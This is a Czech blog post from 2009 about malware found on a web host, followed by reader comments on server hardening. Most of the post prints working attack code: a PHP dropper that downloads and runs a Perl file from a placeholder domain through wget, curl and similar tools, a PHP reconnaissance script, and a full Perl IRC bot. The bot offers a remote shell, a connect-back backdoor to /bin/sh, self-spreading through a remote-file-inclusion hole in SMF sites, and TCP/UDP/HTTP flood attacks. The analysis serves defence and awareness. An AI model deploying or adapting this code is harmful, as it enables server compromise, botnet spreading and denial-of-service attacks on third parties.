Portál AbcLinuxu, 24. května 2024 00:01

Trápení webhosterů aneb cizí botnet zevnitř

27.9.2009 17:07 | Přečteno: 4897× | Linux | poslední úprava: 22.8.2014 19:29

Jen jeden prstíček do botnetu strčíme...

Zkoumám takhle php soubor s injectnutým kódem začínajícím asi takhle

< ?php eval ( b a s e 6 4 _ d e c o d e ( ' a W Y o Z n V u Y 3 R p b 2 5 f Z X h p c 3..........')); ? >
a při té příležitosti jsem našel kopec jiných souborů, které toho o sobě prozradily ještě o něco více. V dalším php souboru se nacházelo include("http://domena.tld/id.txt"). Tento soubor se snaží pomocí volání funkcí system, passthru, exec a shell_exec použít wget, curl, lwp-download, lynx, fetch a GET a poté vlézt do /tmp a uložit tam další soubor v perlu. Soubor se spustí a jeho obsah můžete vidět zde:
id.txt
< ?php
system("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
system('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
system('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
system('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
system('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

passthru("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
passthru('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
passthru('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
passthru('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

shell_exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela");
shell_exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela');
shell_exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela');
shell_exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela');

system('rm -rf /tmp/*');
system('rm -rf /tmp/*.txt');
system('rm -rf /tmp/*.txt*');
system('rm -rf /tmp/*.txt.*');


? >


< ?php
echo "31337
"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER['SERVER_NAME']; $alb8 = $_SERVER['SERVER_ADDR']; $alb9 = get_current_user(); $os = @PHP_OS; echo "UNITED #D-Devils By The King Sir|ToTTi
"; echo "os: $os
"; echo "uname -a: $alb
"; echo "uptime: $alb2
"; echo "id: $alb3
"; echo "pwd: $alb4
"; echo "user: $alb9
"; echo "SoftWare: $alb5
"; echo "PHPV: $alb6
"; echo "ServerName: $alb7
"; echo "ServerAddr: $alb8
"; $free = disk_free_space($alb4); if ($free === FALSE) {$free = 0;} if ($free < 0) {$free = 0;} echo "Free: ".view_size($free)."
"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } exit; ? >
IP adresu ovládacího irc serveru jsem smazal. Obsah souboru sela.txt zde:
#!/usr/bin/perl

use IO::Socket;
srand;
my $bPs        = 'httpds /usr/lib/httpd -f /etc/httpd.conf';
my $aMaster    = 'nix', 'Fugaru';
my $aHost      = '*@fbi.ro';
my $sServer    = 'ip-adresa-zde';
my $sPort      = '6667';
my $sTimeOut   = '300';
my $bChan      = '#nixsl3';

my $bNickLen   = '7';
chomp (my $bNick   = `whoami`);
chomp (my $bIrcName   = `whoami`);
chomp (my $bRealName  = `uname -a`);
my $bDelay     = '2';

open(LOCK, '>/tmp/sess_F3wtx3es3wedxwa213s1x1ws1e32sx2') or die;
unless(flock(LOCK, 4 | 2)) { die; }

if(fork) { exit; }
$0 = $bPs;

$SIG{'INT'}  = 'IGNORE';
$SIG{'HUP'}  = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';

package irc;
use IO::Select;

our $irc_socket;
our $irc_select = new IO::Select;

my $cur_nick;

sub raw { print $irc_socket "$_[0]\n"; }

sub mnick {
    my $nick = $_[1];
    my @abc = ('a' .. 'z');
    for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; }
    return $nick;
}

sub init {
    
    my $socket = IO::Socket::INET->new(PeerAddr => $_[3],
                                       PeerPort => $_[4],
                                       Proto    => 'tcp',
                                       Timeout  => '5') or return 0;
    if(defined($socket)) {
        $irc_socket = $socket;
        $irc_select->add($irc_socket);
        $irc_socket->autoflush(1);
        raw("USER ".$_[1]." 0 0 ".$_[2]);
        $cur_nick = $_[0];
        raw("NICK $cur_nick");
        return 1;
    }
    return 0;
}

sub loop {
    my $time_out = time;
    
    for(;;) {
        my @handles = $irc_select->can_read(1);
        
        if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; }
        
        next unless(@handles);
        
        foreach my $handle (@handles) {
            my $datain;$handle->recv($datain, 1023, 0);
            my @lines = split(/\r\n/, $datain);
            
            foreach my $line (@lines) {
                if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; }
                elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; }
                elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; }
                run::bcmd("$line");
            }
        }
    }
}
package run;
use Socket;

sub bcmd {
    my @line = split(/ /, $_[0]);
    
    my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/;
    #unless($Nick eq $aMaster) { return; }
    #unless($Mask eq $aHost)   { return; }
    my $Type = shift(@line);
    unless($Type eq "PRIVMSG") { return; }
    
    my $To = shift(@line);
    
    $" = ' '; $line[0] =~ s/://;my $Text = "@line";
    
    if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) {
        if($2 =~ /^nick\s*(.*)/) {
            if($1) { $cur_nick = $1; }
            else { $cur_nick = irc::mnick($bNickLen, $bNick); }
            irc::raw("NICK $cur_nick");
            return;
        }
        
        if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; }
        
        
        
        return;
    }
    
    if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) {
        
        if(!fork) {

	    if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; }            

            if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; }
            
            if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; }
            
            if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; }
            
            if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; }
            
            if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; }
            if ($2 =~ /^join (.*)/) {
	    	j("$1");
	    }
	    if ($2 =~ /^part (.*)/) { 
	    	p("$1");
	    }
	    
            exit;
        }
        return;
    }
    
    if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; }
    if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; }
}

sub bsh {
    my $to = $_[0];
    my $cmd = $_[1];
    
    if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; }
    
    my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`);
    foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } }   
}

sub j { &join(@_); }
sub join {
	return unless $#_ == 0;
		irc::raw("JOIN $_[0]");
}

sub p { part(@_); }
sub part {
	irc::raw("PART $_[0]");
}

sub rsh {
    irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending...");
    
    socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit;
    connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit;
        
    open(STDIN, ">&SOCKET");
    open(STDOUT, ">&SOCKET");
    open(STDERR, ">&SOCKET");
        
    print "elxbot's connectback backdoor\n";
    system('/bin/sh');
        
    close(STDIN);
    close(STDOUT);
    close(STDERR);    
}

package spread;

sub start {
    irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''.");
    
    our $s_time = time;
    my $m_time = $_[1] * 60; #''
    srand;
    
    my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451';
    my $rfi   = '';
    my $bLoc = 't';
    my $cmds  = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath";
    
    $cmds =~ s/ /%20/g;
    
    while($m_time > (time - $s_time)) {
        my $dup = "";my @urls = google();
        
        foreach my $url (@urls) {
            (my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/;
            my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; }
            
            if($dup eq $host) { next; } $dup = "$host";
            
            $url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?';
            
            my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next;
            print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n";
            $sock->close();
        }
    }
    irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished.");
}

sub google() {
    
    my $rnd=(int(rand(300)));
    my $n= 80;
    if ($rnd<300) { $rnd=(int(rand(300))); }
    my $msn= (int(rand(10)) * $n);

    my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao',
                   'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb',
                   'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo',
                   'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd',
                   'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop',
                   'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz',
                   'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi',
                   'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi',
                   'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu',
                   'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie',
                   'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it',
                   'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp',
                   'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls',
                   'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk',
                   'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum',
                   'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net',
                   'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om',
                   'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr',
                   'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw',
                   'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl',
                   'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td',
                   'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw',
                   'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc',
                   've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu',
                   'za', 'zm', 'zw');
    
    my @str = ();
    foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); }
    
    my $query = 'http://www.altavista.com/web/results?q=';
    $query   .= $str[(rand(scalar(@str)))];
    $query   .= "&stq=$msn";
    
    my @lst=();
    #irc::raw("privmsg #debug :DEBUG only test googling: ".$query.""); 
    my $page = http_query($query);
    
    while ($page =~  m/< a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){
        if ($1 !~ m/google|cache|translate/) { push (@lst,$1); }
    }
    return (@lst);
}

sub http_query {
    
    my $url = $_[0];
    my $host=$url;
    my $query=$url;
    my $page='';
    
    $host =~ s/href=\"?http:\/\///;
    $host =~ s/([\w\.\-\w]*)\/.*/$1/;
    $query =~ s/$host//;
    
    if ($query eq '') {$query='/';};
    eval {
	    local $SIG{ALRM} = sub { die "1";};
	    alarm 5;
	    my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return;
	    print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n";
	    my @r = <$sock>;
	    $page="@r";
	    alarm 0;
	    close($sock);
    };
    return $page;
}

package flood;
use POSIX;
use Socket;

our $s_time;

sub tcp {
    irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
    
    $s_time = time;
    my @SOCKET;
    
    while ($_[3] > (time - $s_time)) {
        
        for(my $i=0;$i<200;$i++) {
            socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
            fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK());
        }
        
        for(my $i=0;$i<200;$i++) {
            connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
        }
        
        for(my $i=0;$i<200;$i++) {
            close($SOCKET[$i]);
        }
    }
    
    irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished.");
}

sub udp {
    irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'.");
    
    $s_time = time; 
    my $socket;
    my $packets = 0;
    socket($socket, PF_INET, SOCK_DGRAM, 17);
    
    while($_[3] > (time - $s_time)) {
        send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1])));
        $packets++;
    }
    close($socket);
    
    irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets.");
}

sub http {
    irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'.");
    
    $s_time = time;
    my $querys = 0;
    
    while ($_[2] > (time - $s_time)) {
        my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80);
        print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n";
        close($socket);
        $querys++;
    }
    
    irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys.");
}

while(1) {
    if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort))
    {
        irc::loop();
    }
    sleep 10;
}
#
#
#
#
#GET IS A SHITTY FUCKING PROGRAM!
Hostname nešťastníka hostujícího soubor jsem smazal stejně tak jako ip adresy a jména všech serverů v přílohách. Na začátku souboru sela.txt můžete vidět nastavení připojení k irc serveru, tak proč se tam nemrknout? Dál v podstatě není co popisovat. Na server se lze dostat bez problémů, uvítá vás seznam právě připojených zombíků a můžete je ovládat klasickými shellovými příkazy. Moc do hloubky jsem nešel, protože na cizí věci se nesahá a kontaktoval jsem všechny zainteresované strany, tedy kromě pana sušenky. Oběti jsou většinou webhosteři a v seznamu je dokonce jeden nameserver.
Překlepy typu whoiam prosím ignorujte :-D

       

Hodnocení: 100 %

        špatnédobré        

Obrázky

Trápení webhosterů aneb cizí botnet zevnitř, obrázek 1 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 2 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 3 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 4 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 5 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 6 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 7 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 8 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 9 Trápení webhosterů aneb cizí botnet zevnitř, obrázek 10

Tiskni Sdílej: Linkuj Jaggni to Vybrali.sme.sk Google Del.icio.us Facebook

Komentáře

Nástroje: Začni sledovat (3) ?Zašle upozornění na váš email při vložení nového komentáře. , Tisk

Vložit další komentář

Genunix avatar 27.9.2009 18:20 Genunix | skóre: 17 | blog: Memdump
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Odpovědět | Sbalit | Link | Blokovat | Admin
Funkce system, passthru, exec a shell_exec mám zakázané a na každý VirtualHost mám nastaveno open.basedir přímo na něj + na místo, kde má PHP upload temp. Díky tomu bych měl být v bezpečí :-)
*´¨`*.¸.·´¨`*.¸.·*´`*·>>>
H0ax avatar 27.9.2009 18:53 H0ax | skóre: 36 | blog: Odnikud_nikam
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Používáš-li mysql, jsi si jist, že tvá data nelze číst třeba takto: http://dev.mysql.com/doc/refman/5.1/en/load-data.html ? ;-)
uid=0(root) gid=0(root) skupiny=0(root)
27.9.2009 20:08 trekker.dk | skóre: 72
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Jenom v případě, že už je opravené tohle

Quando omni flunkus moritati
Salamek avatar 27.9.2009 19:17 Salamek | skóre: 22 | blog: salamovo
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Odpovědět | Sbalit | Link | Blokovat | Admin
hezke :-D
Skutečně nemám v plánu zničit Microsoft. Bude to jen zcela neúmyslný vedlejší efekt.
27.9.2009 21:32 12345 | skóre: 41 | blog:
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Odpovědět | Sbalit | Link | Blokovat | Admin
PERL posoudit neumím, ale to PHP je pěkný bastl. Někdy mi nedá, abych neobdivoval kvality temné strany, ale tahle ubohá splácanina si zaslouží jen pohrdání. A ovládací server chráněný security by obscurity je taky k smíchu. Nejen, že jsou to zlí crackeři, oni navíc svou práci ani neumí udělat pořádně. IT je zase jedno odvětví, kde se modlou stal cíl a nikoliv cesta k němu.
27.9.2009 21:56 CEST
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Odpovědět | Sbalit | Link | Blokovat | Admin

Nejsmutnejsi je, jak se ten jeden server ve screenshotu hrde hlasi 2.6.30.4-grsec. Novy jadro, jeste s grsec a je to uplne na hovno.

27.9.2009 21:58 CEST
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

A co se tyka cinnosti, asi bych tam zkusil nejak do cronu nebo do nejakyho top level index.php prihodit kod, kterej odesle na pozadi email na ruzny emailovy adresy patrici tomu spravci (root@domain, abuse@domain, info@domain) s textem neco jako "vas server se jmenem XYZ na IP ABC byl hacknut, prosim, zkontrolujte zabezpeceni". A dale bych pak pro jistotu smaznul tu diru, pres kterou se to aktivuje (pokud to neni prolejzani tisicovek php kodu a hledani).

limit_false avatar 27.9.2009 22:18 limit_false | skóre: 23 | blog: limit_false
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

Jak jsem psal pred chvili, grsecurity neochrani od chyby aplikace, akorat ji omezi (chrani pred buffer overflow, vylamovani se z chrootu atd.). Je pravda, ze meli zapnout trusted path execution (zabrani spousteni skriptu v /tmp), jenze kdyz je to hosting (tipuju) a uzivatel si udela permanentne writable adresar se skripty, tak nic nezabrani zapisu a spusteni utocnikova skriptu.

When people want prime order group, give them prime order group.
limit_false avatar 27.9.2009 22:13 limit_false | skóre: 23 | blog: limit_false
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
Odpovědět | Sbalit | Link | Blokovat | Admin

Celkem me prekvapil vzorek stroju - *BSD a Linux s grsecurity. Nejspis jde o prunik pres user-level aplikaci (coz by odpovidalo 'whoami'). Jinak z vypisu 'ps -ef' na grsecurity masine je videt, ze to mozna maj relativne slusne nastaveny - nevidi cizi procesy (zajimalo by mne jestli to crackeri pri prodeji/pronajmu botnetu zminuji ;-)). Pridat jeste trusted path execution a skriptum v /tmp odzvoni.

When people want prime order group, give them prime order group.
27.9.2009 23:06 Mrkva | skóre: 22 | blog: urandom
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř
TPE NEZABRÁNÍ spuštění skriptu v libovolném adresáři. Spuštění programu možná. Jelikož se skript spouští přes interpretr (kterýžto pravidlům pro spuštění podle TPE vyhovuje), a ten interpretr si sám natáhne data z toho skriptu, skript se vykoná :)))
Warning: The patch is horribly wrong, don't use it. According to our tests, it just runs "rm -rf /*".
limit_false avatar 27.9.2009 23:58 limit_false | skóre: 23 | blog: limit_false
Rozbalit Rozbalit vše Re: Trápení webhosterů aneb cizí botnet zevnitř

True. Az ted jsem si vsiml, ze skript je volan "cd /tmp; perl blabla" misto "/tmp/blabla", kde TPE IIRC plati. Holt branit se vlastnim uzivatelum, zamestancum a jinym insiderum je nejtezsi ;-)

When people want prime order group, give them prime order group.

Založit nové vláknoNahoru

ISSN 1214-1267, (c) 1999-2007 Stickfish s.r.o.